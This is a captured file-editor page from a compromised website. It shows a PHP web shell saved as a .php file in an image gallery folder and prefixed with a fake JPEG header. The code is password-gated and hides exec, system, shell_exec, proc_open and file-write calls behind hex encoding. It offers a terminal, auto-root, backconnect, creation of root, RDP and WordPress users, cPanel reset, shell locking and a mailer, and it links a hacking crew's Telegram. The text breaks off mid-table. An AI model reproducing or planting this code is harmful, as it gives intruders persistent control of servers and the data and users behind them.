<div><a href="?path=/">Root</a> / <a href="?path=C%3A%5CWebsites%5Cexcelnetinfo.in%5Cassets%5Cimages%5Cgallery">C:\Websites\excelnetinfo.in\assets\images\gallery</a></div><h2>Edit File: 68c399b6007e5.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">����␐JFIF�␁␁␁�`�`�����;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85 ���C�␅␃␄␄␄␃␅␄␄␄␅␅␅␆␇␌␈␇␇␇␇␏␋␋ ␌␑␏␒␒␑␏␑␑␓␖␜␗␓␔␚␕␑␑␘!␘␚␝␝␟␟␟␓␗&quot;$&quot;␞$␜␞␟␞���C␁␅␅␅␇␆␇␎␈␈␎␞␔␑␔␞␞␞␞␞␞␞␞␞␞␞␞␞␞␞␞␞␞␞␞
&lt;?php
session_start();
date_default_timezone_set(&quot;Asia/Jakarta&quot;);

// Konfigurasi
$default_action = &quot;FilesMan&quot;;
$default_use_ajax = true;
$default_charset = &#039;UTF-8&#039;;

// Fungsi untuk tampilan halaman login
function show_login_page($message = &quot;&quot;)
{
?&gt;
    &lt;!DOCTYPE html&gt;
    &lt;html&gt;
    &lt;!DOCTYPE html&gt;
    &lt;html lang=&quot;en&quot;&gt;

    &lt;head&gt;
        &lt;meta charset=&quot;UTF-8&quot;&gt;
        &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;
        
   &lt;title&gt;// Windows 2025 // [ &lt;?= $_SERVER[&#039;SERVER_NAME&#039;]; ?&gt; ]&lt;/title&gt;
     
&lt;style&gt;
        body {background-position: center;
			background-size: center;
            background: url(https://i.gifer.com/QBnX.gif);
    background-position: center;
    background-repeat: no-repeat;
    background-size: cover;
        }      
    &lt;/style&gt;
    
    &lt;style&gt;
body, html {
  height: 100%;
  margin: 0;
}

.bg {
  /* The image used */

  /* Full height */
  height: 50%; 

  /* Center and scale the image nicely */
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}
&lt;/style&gt;
    
&lt;style&gt;
            body {
                font-family: monospace;
            }

            input[type=&quot;password&quot;] {
                border: none;
                border-bottom: 1px solid black;
                padding: 2px;
            }

            input[type=&quot;password&quot;]:focus {
                outline: none;
            }

            input[type=&quot;submit&quot;] {
                border: none;
                padding: 4.5px 20px;
                background-color: #2e313d;
                color: #FFF;
            }
        &lt;/style&gt;
    &lt;/head&gt;
    
    &lt;center&gt;

 &lt;/center&gt;
 &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; 
   &lt;body&gt;
        &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
            &lt;div align=&quot;center&quot;&gt;
                &lt;input type=&quot;password&quot; name=&quot;pass&quot; placeholder=&quot;&amp;nbsp;Password&quot;&gt;&amp;nbsp;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;&gt;&quot;&gt;
            &lt;/div&gt;
        &lt;/form&gt;
    &lt;/body&gt;
&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; 

    	&lt;center&gt;&lt;h4 style=&quot;text-align: center;&quot;&gt;
    	&lt;font face=&quot;tahoma&quot; color=&quot;white&quot;&gt;
    	Yes, the phrase &quot;No system is safe&quot; is often considered true in the world of cybersecurity 
because every system has potential security vulnerabilities that hackers can exploit. 
While developers are constantly working to improve systems, hackers are also constantly finding new ways to breach security, creating a never-ending cycle of security breaches. This statement is also used by hackers as a way to test the resilience of a security system.&lt;/p&gt;
&lt;/font&gt;&lt;/center&gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;
&lt;center&gt;
&lt;footer&gt;&lt;font face=&quot;tahoma&quot; size=&quot;3&quot; color=&quot;green&quot;&gt;® Copyright 2025&lt;/font&gt; &lt;/footer&gt;
 
&lt;/center&gt;

&lt;audio src=&quot;https://f.top4top.io/m_244463v230.mp3&quot; autoplay=&quot;true&quot; id=&quot;lagu&quot; loop=&quot;&quot;&gt;&lt;/audio&gt;
    &lt;/html&gt;

&lt;?php
    exit;
}

if (!isset($_SESSION[&#039;authenticated&#039;])) {
    $stored_hashed_password = &#039;$2y$10$nF1FTOE.5zbm9/6Nod.Pdu/iZP50gMIW8byRrk9zuL/92kzvU3oVS&#039;; // 

    if (isset($_POST[&#039;pass&#039;]) &amp;&amp; password_verify($_POST[&#039;pass&#039;], $stored_hashed_password)) {
        $_SESSION[&#039;authenticated&#039;] = true;
    } else {
        show_login_page();
    }
}
?&gt;
&lt;?php
@set_time_limit(0);
@clearstatcache();
@ini_set(&#039;error_log&#039;, NULL);
@ini_set(&#039;log_errors&#039;, 0);
@ini_set(&#039;max_execution_time&#039;, 0);
@ini_set(&#039;output_buffering&#039;, 0);
@ini_set(&#039;display_errors&#039;, 0);
# function WAF

$Array = [
    &#039;676574637764&#039;, # ge  tcw d =&gt; 0
    &#039;676c6f62&#039;, # gl ob =&gt; 1
    &#039;69735f646972&#039;, # is_d ir =&gt; 2
    &#039;69735f66696c65&#039;, # is_ file =&gt; 3
    &#039;69735f7772697461626c65&#039;, # is_wr iteable =&gt; 4
    &#039;69735f7265616461626c65&#039;, # is_re adble =&gt; 5
    &#039;66696c657065726d73&#039;, # fileper ms =&gt; 6
    &#039;66696c65&#039;, # f ile =&gt; 7
    &#039;7068705f756e616d65&#039;, # php_unam e =&gt; 8
    &#039;6765745f63757272656e745f75736572&#039;, # getc urrentuser =&gt; 9
    &#039;68746d6c7370656369616c6368617273&#039;, # html special =&gt; 10
    &#039;66696c655f6765745f636f6e74656e7473&#039;, # fil e_get_contents =&gt; 11
    &#039;6d6b646972&#039;, # mk dir =&gt; 12
    &#039;746f756368&#039;, # to uch =&gt; 13
    &#039;6368646972&#039;, # ch dir =&gt; 14
    &#039;72656e616d65&#039;, # ren ame =&gt; 15
    &#039;65786563&#039;, # exe c =&gt; 16
    &#039;7061737374687275&#039;, # pas sthru =&gt; 17
    &#039;73797374656d&#039;, # syst em =&gt; 18
    &#039;7368656c6c5f65786563&#039;, # sh ell_exec =&gt; 19
    &#039;706f70656e&#039;, # p open =&gt; 20
    &#039;70636c6f7365&#039;, # pcl ose =&gt; 21
    &#039;73747265616d5f6765745f636f6e74656e7473&#039;, # stre amgetcontents =&gt; 22
    &#039;70726f635f6f70656e&#039;, # p roc_open =&gt; 23
    &#039;756e6c696e6b&#039;, # un link =&gt; 24
    &#039;726d646972&#039;, # rmd ir =&gt; 25
    &#039;666f70656e&#039;, # fop en =&gt; 26
    &#039;66636c6f7365&#039;, # fcl ose =&gt; 27
    &#039;66696c655f7075745f636f6e74656e7473&#039;, # file_put_c ontents =&gt; 28
    &#039;6d6f76655f75706c6f616465645f66696c65&#039;, # move_up loaded_file =&gt; 29
    &#039;63686d6f64&#039;, # ch mod =&gt; 30
    &#039;7379735f6765745f74656d705f646972&#039;, # temp _dir =&gt; 31
    &#039;6261736536345F6465636F6465&#039;, # =&gt; bas e6 4 _decode =&gt; 32
    &#039;6261736536345F656E636F6465&#039;, # =&gt; ba se6 4_ encode =&gt; 33
];
$hitung_array = count($Array);
for ($i = 0; $i &lt; $hitung_array; $i++) {
    $fungsi[] = unx($Array[$i]);
}

if (isset($_GET[&#039;d&#039;])) {
    $cdir = unx($_GET[&#039;d&#039;]);
    $fungsi[14]($cdir);
} else {
    $cdir = $fungsi[0]();
}

function file_ext($file)
{
    if (mime_content_type($file) == &#039;image/png&#039; or mime_content_type($file) == &#039;image/jpeg&#039;) {
        return &#039;&lt;i class=&quot;fa-regular fa-image&quot; style=&quot;color:#09e3a5&quot;&gt;&lt;/i&gt;&#039;;
    } else if (mime_content_type($file) == &#039;application/x-httpd-php&#039; or mime_content_type($file) == &#039;text/html&#039;) {
        return &#039;&lt;i class=&quot;fa-solid fa-file-code&quot; style=&quot;color:#0985e3&quot;&gt;&lt;/i&gt;&#039;;
    } else if (mime_content_type($file) == &#039;text/javascript&#039;) {
        return &#039;&lt;i class=&quot;fa-brands fa-square-js&quot;&gt;&lt;/i&gt;&#039;;
    } else if (mime_content_type($file) == &#039;application/zip&#039; or mime_content_type($file) == &#039;application/x-7z-compressed&#039;) {
        return &#039;&lt;i class=&quot;fa-solid fa-file-zipper&quot; style=&quot;color:#e39a09&quot;&gt;&lt;/i&gt;&#039;;
    } else if (mime_content_type($file) == &#039;text/plain&#039;) {
        return &#039;&lt;i class=&quot;fa-solid fa-file&quot; style=&quot;color:#edf7f5&quot;&gt;&lt;/i&gt;&#039;;
    } else if (mime_content_type($file) == &#039;application/pdf&#039;) {
        return &#039;&lt;i class=&quot;fa-regular fa-file-pdf&quot; style=&quot;color:#ba2b0f&quot;&gt;&lt;/i&gt;&#039;;
    } else {
        return &#039;&lt;i class=&quot;fa-regular fa-file-code&quot; style=&quot;color:#0985e3&quot;&gt;&lt;/i&gt;&#039;;
    }
}

function download($file)
{

    if (file_exists($file)) {
        header(&#039;Content-Description: File Transfer&#039;);
        header(&#039;Content-Type: application/octet-stream&#039;);
        header(&#039;Content-Disposition: attachment; filename=&#039; . basename($file));
        header(&#039;Content-Transfer-Encoding: binary&#039;);
        header(&#039;Expires: 0&#039;);
        header(&#039;Cache-Control: must-revalidate&#039;);
        header(&#039;Pragma: public&#039;);
        header(&#039;Content-Length: &#039; . filesize($file));
        ob_clean();
        flush();
        readfile($file);
        exit;
    }
}

if ($_GET[&#039;don&#039;] == true) {
    $FilesDon = download(unx($_GET[&#039;don&#039;]));
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;
    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;
    &lt;meta name=&quot;googlebot&quot; content=&quot;noindex&quot;&gt;
    &lt;title&gt;Windows 2025  [ &lt;?= $_SERVER[&#039;SERVER_NAME&#039;]; ?&gt; ]&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.css&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/theme/ayu-mirage.min.css&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.css&quot;&gt;
    &lt;script src=&quot;https://kit.fontawesome.com/057b9b510c.js&quot; crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;//cdn.jsdelivr.net/npm/sweetalert2@11&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/xml/xml.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/javascript/javascript.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/xml-hint.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/html-hint.min.js&quot;&gt;&lt;/script&gt;
    &lt;style&gt;
        @media screen and (min-width: 768px) and (max-width: 1200px) and (min-height:720px) {
            .code-editor-container {
                height: 85vh !important;
            }

            .CodeMirror {
                height: 72vh !important;
                font-size: xx-large !important;
                margin: 0 4px;
                border-radius: 4px;
            }

            .btn-modal-close {
                padding: 15px 40px !important;
            }
        }

        .btn-submit,
        a {
            text-decoration: none;
            color: #fff
        }

        a,
        body {
            color: #fff
        }

        .btn-submit,
        .form-file,
        tbody tr:nth-child(2n) {
            background-color: #22242d
        }

        .code-editor,
        .modal,
        .terminal {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0
        }

        .code-editor-body textarea,
        .terminal-body textarea {
            width: 98.5%;
            height: 400px;
            font-size: smaller;
            resize: none
        }

        .menu-tools li,
        .terminal-body li,
        .terminal-head li {
            display: inline-block
        }

        body {
            background-color: #0e0f17;
            font-family: monospace
        }

        .btn-modal-close:hover,
        .btn-submit:hover,
        .menu-file-manager ul,
        .path-pwd,
        thead {
            background-color: #2e313d
        }

        ul {
            list-style: none
        }

        .menu-header li {
            padding: 5px 0
        }

        .menu-header ul li {
            font-weight: 700;
            font-style: italic
        }

        .btn-submit {
            padding: 7px 25px;
            border: 2px solid grey;
            border-radius: 4px
        }

        .form-file,
        a:hover {
            color: #c5c8d6
        }

        .btn-submit:hover {
            border: 2px solid #c5c8d6
        }

        .form-upload {
            margin: 10px 0
        }

        .form-file {
            border: 2px solid grey;
            padding: 7px 20px;
            border-radius: 4px
        }

        .menu-tools {
            width: 95%
        }

        .menu-tools li {
            margin: 15px 0
        }

        .menu-file-manager,
        .modal-mail-text {
            margin: 10px 40px
        }

        .menu-file-manager li {
            display: inline-block;
            margin: 15px 20px
        }

        .menu-file-manager li a::after {
            content: &quot;&quot;;
            display: block;
            border-bottom: 1px solid #fff
        }

        .path-pwd {
            padding: 15px 0;
            margin: 5px 0
        }

        table {
            border-radius: 5px
        }

        thead {
            height: 35px
        }

        tbody tr td {
            padding: 10px 0
        }

        tbody tr td:nth-child(2),
        tbody tr td:nth-child(3),
        tbody tr td:nth-child(4) {
            text-align: center
        }

        ::-webkit-scrollbar {
            width: 16px
        }

        ::-webkit-scrollbar-track {
            background: #0e0f17
        }

        ::-webkit-scrollbar-thumb {
            background: #22242d;
            border: 2px solid #555;
            border-radius: 4px
        }

        ::-webkit-scrollbar-thumb:hover {
            background: #555
        }

        ::-webkit-file-upload-button {
            display: none
        }

        .modal {
            display: none;
            z-index: 2;
            width: 100%;
            background-color: rgba(0, 0, 0, .3)
        }

        .modal-container {
            animation-name: modal-pop-out;
            animation-duration: .7s;
            animation-fill-mode: both;
            margin: 10% auto auto;
            border-radius: 10px;
            width: 800px;
            background-color: #f4f4f9
        }

        @keyframes modal-pop-out {
            from {
                opacity: 0
            }

            to {
                opacity: 1
            }
        }

        .modal-header {
            color: #000;
            margin-left: 30px;
            padding: 10px
        }

        .modal-body,
        .terminal-head li {
            color: #000
        }

        .modal-create-input {
            width: 700px;
            padding: 10px 5px;
            background-color: #f4f4f9;
            margin: 0 5%;
            border: none;
            border-radius: 4px;
            box-shadow: 8px 8px 20px rgba(0, 0, 0, .2);
            border-bottom: 2px solid #0e0f17
        }

        .box-shadow {
            box-shadow: 8px 8px 8px rgba(0, 0, 0, .2)
        }

        .btn-modal-close {
            background-color: #22242d;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 35px
        }

        .badge-action-chmod:hover::after,
        .badge-action-download:hover::after,
        .badge-action-editor:hover::after {
            padding: 5px;
            border-radius: 5px;
            margin-left: 110px;
            background-color: #2e313d
        }

        .modal-btn-form {
            margin: 15px 0;
            padding: 10px;
            text-align: right
        }

        .file-size {
            color: orange
        }

        .badge-root::after {
            content: &quot;root&quot;;
            display: block;
            position: absolute;
            width: 40px;
            text-align: center;
            margin-top: -30px;
            margin-left: 110px;
            border-radius: 4px;
            background-color: red
        }

        .badge-premium::after {
            content: &quot;soon!&quot;;
            display: block;
            position: absolute;
            width: 40px;
            text-align: center;
            margin-top: -30px;
            margin-left: 140px;
            border-radius: 4px;
            background-color: red
        }

        .badge-action-chmod:hover::after,
        .badge-action-download:hover::after,
        .badge-action-editor:hover::after,
        .badge-linux::after,
        .badge-windows::after {
            width: 60px;
            text-align: center;
            margin-top: -30px;
            display: block;
            position: absolute
        }

        .badge-windows::after {
            background-color: orange;
            color: #000;
            margin-left: 100px;
            border-radius: 4px;
            content: &quot;windows&quot;
        }

        .badge-linux::after {
            margin-left: 100px;
            border-radius: 4px;
            background-color: #0047a3;
            content: &quot;linux&quot;
        }

        .badge-action-editor:hover::after {
            content: &quot;Rename&quot;
        }

        .badge-action-chmod:hover::after {
            content: &quot;Chmod&quot;
        }

        .badge-action-download:hover::after {
            content: &quot;Download&quot;
        }

        .CodeMirror {
            height: 70vh;
        }

        .code-editor,
        .terminal {
            background-color: rgba(0, 0, 0, .3);
            width: 100%
        }

        .code-editor-container {
            background-color: #f4f4f9;
            color: #000;
            width: 90%;
            height: 90vh;
            margin: 20px auto auto;
            border-radius: 10px
        }

        .code-editor-head {
            padding: 15px;
            font-weight: 700
        }

        .terminal-container {
            animation: .5s both modal-pop-out;
            width: 90%;
            background-color: #f4f4f9;
            margin: 25px auto auto;
            color: #000;
            border-radius: 4px
        }

        .bc-gecko,
        .mail,
        .terminal-input {
            background-color: #22242d;
            color: #fff
        }

        .terminal-head {
            padding: 8px
        }

        .terminal-head li a {
            color: #000;
            position: absolute;
            right: 0;
            margin-right: 110px;
            font-weight: 700;
            margin-top: -20px;
            font-size: 25px;
            padding: 1px 10px
        }

        .terminal-body textarea {
            margin: 4px;
            background-color: #22242d;
            color: #29db12;
            border-radius: 4px
        }

        .active {
            display: block
        }

        .terminal-input {
            width: 500px;
            padding: 6px;
            border: 1px solid #22242d;
            border-radius: 4px;
            margin: 5px 0
        }

        .bc-gecko {
            border: none;
            padding: 7px 10px;
            width: 712px;
            border-radius: 5px;
            margin: 15px 40px
        }

        .mail {
            width: 705px;
            resize: none;
            height: 100px
        }

        .logo-gecko {
            position: absolute;
            top: -90px;
            right: 40px;
            z-index: -1;
            bottom: 0
        }
    &lt;/style&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;div class=&quot;menu-header&quot;&gt;
        &lt;ul&gt;
            &lt;li&gt;&lt;i class=&quot;fa-solid fa-computer&quot;&gt;&lt;/i&gt;&amp;nbsp;&lt;?= $fungsi[8](); ?&gt;&lt;/li&gt;
            &lt;li&gt;&lt;i class=&quot;fa-solid fa-server&quot;&gt;&lt;/i&gt;&amp;nbsp;&lt;?= $_SERVER[&quot;\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45&quot;]; ?&gt;&lt;/li&gt;
            &lt;li&gt;&lt;i class=&quot;fa-solid fa-network-wired&quot;&gt;&lt;/i&gt;&amp;nbsp;: &lt;?= gethostbyname($_SERVER[&quot;\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52&quot;]); ?&gt; |&amp;nbsp;: &lt;?= $_SERVER[&quot;\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52&quot;]; ?&gt;&lt;/li&gt;
            &lt;li&gt;&lt;i class=&quot;fa-solid fa-globe&quot;&gt;&lt;/i&gt;&amp;nbsp;&lt;?= s(); ?&gt;&lt;/li&gt;
            &lt;li&gt;&lt;i class=&quot;fa-brands fa-php&quot;&gt;&lt;/i&gt;&amp;nbsp;&lt;?= PHP_VERSION; ?&gt;&lt;/li&gt;
            &lt;li&gt;&lt;i class=&quot;fa-solid fa-user&quot;&gt;&lt;/i&gt;&amp;nbsp;&lt;?= $fungsi[9](); ?&gt;&lt;/li&gt;
            &lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&#039;&lt;?= &quot;\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61&quot;; ?&gt;&#039;&gt;
                &lt;li class=&quot;form-upload&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;Upload&quot; name=&quot;gecko-up-submit&quot; class=&quot;btn-submit&quot;&gt;&amp;nbsp;&lt;input type=&quot;file&quot; name=&quot;gecko-upload&quot; class=&quot;form-file&quot;&gt;&lt;/li&gt;
            &lt;/form&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
    &lt;div class=&quot;menu-tools&quot;&gt;
        &lt;ul&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;terminal=normal&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-terminal&quot;&gt;&lt;/i&gt; Terminal&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;terminal=root&quot; class=&quot;btn-submit badge-root&quot;&gt;&lt;i class=&quot;fa-solid fa-user-lock&quot;&gt;&lt;/i&gt; AUTO ROOT&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;adminer&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-database&quot;&gt;&lt;/i&gt; Adminer&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;destroy&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-ghost&quot;&gt;&lt;/i&gt; Backdoor Destroyer&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;//www.exploit-db.com/search?q=Linux%20Kernel%20&lt;?= suggest_exploit(); ?&gt;&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-flask&quot;&gt;&lt;/i&gt; Linux Exploit&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;lockshell&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-brands fa-linux&quot;&gt;&lt;/i&gt; Lock Shell&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;&quot; class=&quot;btn-submit badge-linux&quot; id=&quot;lock-file&quot;&gt;&lt;i class=&quot;fa-brands fa-linux&quot;&gt;&lt;/i&gt; Lock File&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;&quot; class=&quot;btn-submit badge-root&quot; id=&quot;root-user&quot;&gt;&lt;i class=&quot;fa-solid fa-user-plus&quot;&gt;&lt;/i&gt; Create User&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;&quot; class=&quot;btn-submit&quot; id=&quot;create-rdp&quot;&gt;&lt;i class=&quot;fa-solid fa-laptop-file&quot;&gt;&lt;/i&gt; CREATE RDP&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;mailer&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-envelope&quot;&gt;&lt;/i&gt; PHP Mailer&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;backconnect&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-user-secret&quot;&gt;&lt;/i&gt; BACKCONNECT&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;unlockshell&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-unlock-keyhole&quot;&gt;&lt;/i&gt; UNLOCK SHELL&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;//hashes.com/en/tools/hash_identifier&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-code&quot;&gt;&lt;/i&gt; HASH IDENTIFIER&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;cpanelreset&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-brands fa-cpanel&quot;&gt;&lt;/i&gt; CPANEL RESET&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&amp;createwp&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-brands fa-wordpress-simple&quot;&gt;&lt;/i&gt; CREATE WP USER&lt;/a&gt;&lt;/li&gt;
                  &lt;li&gt;&lt;a href=&quot;//https://rules.thestudytimes.co//&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-link&quot;&gt;&lt;/i&gt;&amp;nbsp; RULES&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;//t.me/TengkorakCyberCrewzz/&quot; class=&quot;btn-submit&quot;&gt;&lt;i class=&quot;fa-solid fa-link&quot;&gt;&lt;/i&gt;&amp;nbsp; ABOUT&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/div&gt;

    &lt;?php

    $file_manager = $fungsi[1](&quot;{.[!.],}*&quot;, GLOB_BRACE);
    $get_cwd = $fungsi[0]();
    ?&gt;

    &lt;div class=&quot;menu-file-manager&quot;&gt;
        &lt;ul&gt;
            &lt;li&gt;&lt;a href=&quot;&quot; id=&quot;create_folder&quot;&gt;+ Create Folder&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;&quot; id=&quot;create_file&quot;&gt;+ Create File&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;path-pwd&quot;&gt;
            &lt;?php
            $cwd = str_replace(&quot;\\&quot;, &quot;/&quot;, $get_cwd); // untuk dir garis windows
            $pwd = explode(&quot;/&quot;, $cwd);
            if (stristr(PHP_OS, &quot;WIN&quot;)) {
                windowsDriver();
            }
            foreach ($pwd as $id =&gt; $val) {
                if ($val == &#039;&#039; &amp;&amp; $id == 0) {
                    echo &#039;&amp;nbsp;&lt;a href=&quot;?d=&#039; . hx(&#039;/&#039;) . &#039;&quot;&gt;&lt;i class=&quot;fa-solid fa-folder-plus&quot;&gt;&lt;/i&gt;&amp;nbsp;/ &lt;/a&gt;&#039;;
                    continue;
                }
                if ($val == &#039;&#039;) continue;
                echo &#039;&lt;a href=&quot;?d=&#039;;
                for ($i = 0; $i &lt;= $id; $i++) {
                    echo hx($pwd[$i]);
                    if ($i != $id) echo hx(&quot;/&quot;);
                }
                echo &#039;&quot;&gt;&#039; . $val . &#039; / &#039; . &#039;&lt;/a&gt;&#039;;
            }
            echo &quot;&lt;a style=&#039;font-weight:bold; color:orange;&#039; href=&#039;?d=&quot; . hx(__DIR__) . &quot;&#039;&gt;[ HOME SHELL ]&lt;/a&gt;&amp;nbsp;&quot;;
            ?&gt;
        &lt;/div&gt;
        &lt;/ul&gt;
        &lt;table style=&quot;width: 100%;&quot;&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Name&lt;/th&gt;
                    &lt;th&gt;Size&lt;/th&gt;
                    &lt;th&gt;Permission&lt;/th&gt;
                    &lt;th&gt;Action&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                &lt;tbody&gt;
                    &lt;!-- Gecko Folder File Manager --&gt;
                    &lt;?php foreach ($file_manager as $_D) : ?&gt;
                        &lt;?php if ($fungsi[2]($_D)) : ?&gt;
                            &lt;tr&gt;
                                &lt;td&gt;&lt;input type=&quot;checkbox&quot; name=&quot;check[]&quot; value=&quot;&lt;?= $_D ?&gt;&quot;&gt;&amp;nbsp;&lt;i class=&quot;fa-solid fa-folder-open&quot; style=&quot;color:orange;&quot;&gt;&lt;/i&gt;&amp;nbsp;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]() . &quot;/&quot; . $_D); ?&gt;&quot;&gt;&lt;?= namaPanjang($_D); ?&gt;&lt;/a&gt;&lt;/td&gt;
                                &lt;td&gt;[ DIR ]&lt;/td&gt;
                                &lt;td&gt;
                                    &lt;?php if ($fungsi[4]($fungsi[0]() . &#039;/&#039; . $_D)) {
                                        echo &#039;&lt;font color=&quot;#00ff00&quot;&gt;&#039;;
                                    } elseif (!$fungsi[5]($fungsi[0]() . &#039;/&#039; . $_D)) {
                                        echo &#039;&lt;font color=&quot;red&quot;&gt;&#039;;
                                    }
                                    echo perms($fungsi[0]() . &#039;/&#039; . $_D);
                                    ?&gt;
                                &lt;/td&gt;
                                &lt;!-- Action Folder Manager --&gt;
                                &lt;td&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()); ?&gt;&amp;re=&lt;?= hx($_D) ?&gt;&quot; class=&quot;badge-action-editor&quot;&gt;&lt;i class=&quot;fa-solid fa-pen-to-square&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()); ?&gt;&amp;ch=&lt;?= hx($_D) ?&gt;&quot; class=&quot;badge-action-chmod&quot;&gt;&lt;i class=&quot;fa-solid fa-user-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;?php endif; ?&gt;
                    &lt;?php endforeach; ?&gt;
                    &lt;!-- Gecko Files Manager --&gt;
                    &lt;?php foreach ($file_manager as $_F) : ?&gt;
                        &lt;?php if ($fungsi[3]($_F)) : ?&gt;
                            &lt;tr&gt;
